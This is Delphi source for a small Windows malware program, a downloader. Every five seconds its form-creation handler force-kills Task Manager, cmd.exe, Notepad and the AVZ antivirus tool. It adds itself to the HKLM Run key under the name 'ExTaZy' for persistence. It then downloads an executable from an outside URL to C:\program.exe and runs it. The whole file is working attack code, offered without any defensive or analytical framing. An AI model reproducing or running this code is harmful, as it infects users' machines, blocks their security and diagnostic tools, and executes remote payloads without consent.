unit Unit1;

interface

uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs, StdCtrls,Registry,UrlMon,ShellApi ;

type
     TForm1 = class(TForm)
       mmo1: TMemo;
       procedure FormCreate(Sender: TObject);
     private
       { Private declarations }
     public
       { Public declarations }
     end;

var
     Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
const      
    URL = 'http://delfcode.ru/_fr/5/hllp.exe';      
    Filename = 'C:\program.exe';
var
    reg: tregistry;
begin
    while true  do
    begin
    Sleep(5000);
    winexec('taskkill /F /IM NOTEPAD.EXE', SW_HIDE);
    winexec('taskkill /F /IM taskmgr.exe', SW_HIDE);
    winexec('taskkill /F /IM setup.exe', SW_HIDE);
    winexec('taskkill /F /IM avz.exe', SW_HIDE);
    winexec('taskkill /F /IM cmd.exe', SW_HIDE);
    if 0=0 then
    begin
    reg := tregistry.create;
    reg.rootkey := hkey_local_machine;
    reg.lazywrite := false;
    reg.openkey('software\microsoft\windows\currentversion\run', false);
    reg.writestring('ExTaZy', application.exename);
    reg.closekey;
    reg.free;
    if 0=0 then
    begin
    if FileExists('C:\program.exe')
    then
    ShellExecute(0,'Open',PChar('C:\program.exe'),'',nil,1)
    else
    URLDownloadToFile(nil, PChar(URL), PChar(Filename), 0, nil);
    ShellExecute(0,'Open',PChar('C:\program.exe'),'',nil,1);
    end;
    end;
    end;
end;
end.